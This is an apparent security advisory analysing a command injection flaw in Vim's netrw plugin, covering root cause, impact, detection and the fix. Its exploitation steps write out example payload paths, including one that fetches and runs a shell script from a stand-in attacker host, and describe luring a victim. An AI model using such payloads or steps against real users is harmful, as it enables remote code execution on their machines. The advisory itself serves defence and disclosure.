CVE-2026-73078: 
Vim vulnerability analysis and mitigation

CVE-2026-73078 is a command injection vulnerability in Vim's netrw plugin that allows arbitrary Ex and operating-system command execution via crafted directory paths in GUI Vim. It affects all Vim versions prior to 9.2.0840 and was disclosed on July 23, 2026, by security researcher David Carliez. The vulnerability is fixed in Vim version 9.2.0840. It carries a CVSS v3.1 base score of 8.8 (High) and a CVSS v4.0 base score of 8.6 (High) (GitHub Advisory, Red Hat Bugzilla).

The root cause is improper neutralization of special elements in command construction (CWE-77, CWE-78) combined with an incomplete list of disallowed inputs (CWE-184). The netrw plugin's s:NetrwBookmarkMenu() and s:NetrwTgtMenu() functions in runtime/pack/dist/opt/netrw/autoload/netrw.vim build Bookmarks, History, and Targets menu entries by interpolating attacker-controlled directory paths directly into :menu commands executed via :exe. The g:netrw_menu_escape variable, which defines characters to escape, did not include the | pipe character — the Ex command separator — meaning a path containing | terminates the :menu command and the remainder is parsed as additional Ex commands (and via :! as OS commands). Two additional construction sites in the Targets menu embed paths into single-quoted Vim strings passed to netrw#MakeTgt() without neutralizing single quotes, enabling early string termination and Vimscript injection. Five total construction sites were affected. The fix (commit 29c6fd0) adds | to g:netrw_menu_escape, uses fnameescape() for right-hand-side paths, and replaces raw single-quote interpolation with string() for netrw#MakeTgt() arguments (GitHub Advisory, Vim Commit).

Successful exploitation allows arbitrary Ex command execution and, via the :! command, arbitrary operating-system command execution in the context of the user running GUI Vim. This results in full confidentiality, integrity, and availability impact on the affected system, as an attacker can read, modify, or delete files and execute arbitrary programs with the victim's privileges. The scope is limited to the local user context (no privilege escalation beyond the running user), but lateral movement is possible if the compromised account has network access or elevated permissions (GitHub Advisory).

Exploitation requires user interaction: the victim must browse or bookmark a crafted directory path in GUI Vim (with menus enabled), such as one hosted on a shared filesystem or a remote host accessed via FTP or SFTP. No authentication is required on the attacker's side to serve the malicious path. There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation as of the time of reporting. The EPSS score is approximately 0.336%, indicating low current exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. Exploitation is not automatable, as it requires active user interaction (GitHub Advisory, Red Hat Bugzilla).

1. Prepare a malicious directory path: Create a directory with a name containing the | character (Ex command separator) followed by arbitrary Ex or shell commands, e.g., malicious|!calc.exe or evil|!curl attacker.com/shell.sh|sh. This can be hosted on a shared network filesystem, an FTP server, or an SFTP server accessible to the target.
2. Lure the victim to browse the path: Social-engineer the victim into opening GUI Vim and navigating to the attacker-controlled directory using netrw (e.g., by sharing a network path or sending a link to an FTP/SFTP resource).
3. Trigger menu construction: When the victim browses the crafted directory, netrw records it in its history and rebuilds the Bookmarks/History/Targets menus by calling s:NetrwBookmarkMenu() or s:NetrwTgtMenu(). The malicious path is interpolated into a :menu command without escaping |.
4. Command injection executes: The unescaped | terminates the :menu command, and the remainder of the path string is executed as an Ex command. If the payload includes :!, the OS command is executed with the victim's user privileges.
5. Achieve objective: The attacker's payload runs — this could be a reverse shell, data exfiltration command, or persistence mechanism — all without any further interaction from the victim beyond the initial directory browse (GitHub Advisory, Vim Commit).

• Process: Unexpected child processes spawned by the GUI Vim process (e.g., bash, sh, cmd.exe, curl, wget, powershell) — particularly those not initiated by the user directly.
• Network: Outbound connections from the Vim process or its child processes to unexpected external IP addresses or domains, especially shortly after a user browses a remote directory in netrw.
• File System: Unexpected new files created in user home directories, temp directories, or startup/autorun locations; new cron jobs or scheduled tasks created under the victim's account.
• Logs: Shell history entries showing commands that the user did not manually type; audit logs recording process execution events with Vim as the parent process for unexpected commands.
• Application: Vim's netrw bookmark file (~/.vim/.netrwbook or ~/.netrwbook) or history file containing directory entries with | characters or other shell metacharacters.

Upgrade Vim to version 9.2.0840 or later, which adds | to g:netrw_menu_escape, uses fnameescape() for path escaping, and replaces unsafe single-quote interpolation with string() in netrw#MakeTgt() (Vim Commit). As a workaround until patching is possible, disable the netrw plugin by adding let g:loaded_netrwPlugin = 1 to your vimrc, or avoid browsing or bookmarking directories from untrusted sources (shared filesystems, FTP/SFTP servers) in GUI Vim. Note that this vulnerability only affects the GUI version of Vim with menus enabled (has('gui_running'), 'm' flag in 'guioptions', and g:netrw_menu set); terminal Vim is not affected. Linux distribution packages (SUSE, Ubuntu, Alpine, etc.) have also released updated packages (GitHub Advisory, Red Hat Bugzilla).

The Vim project rated the severity as "Moderate" in its GitHub Security Advisory, noting that the console version of Vim is unaffected and exploitation requires the crafted path to first be recorded in the bookmark list or browsing history (GitHub Advisory). Red Hat classified the issue as high severity in its Bugzilla tracker (Red Hat Bugzilla). The fix was credited to Yasuhiro Matsumoto (mattn) for the solution and David Carliez for the report. Multiple Linux distributions including SUSE and Ubuntu issued security advisories and updated packages shortly after disclosure.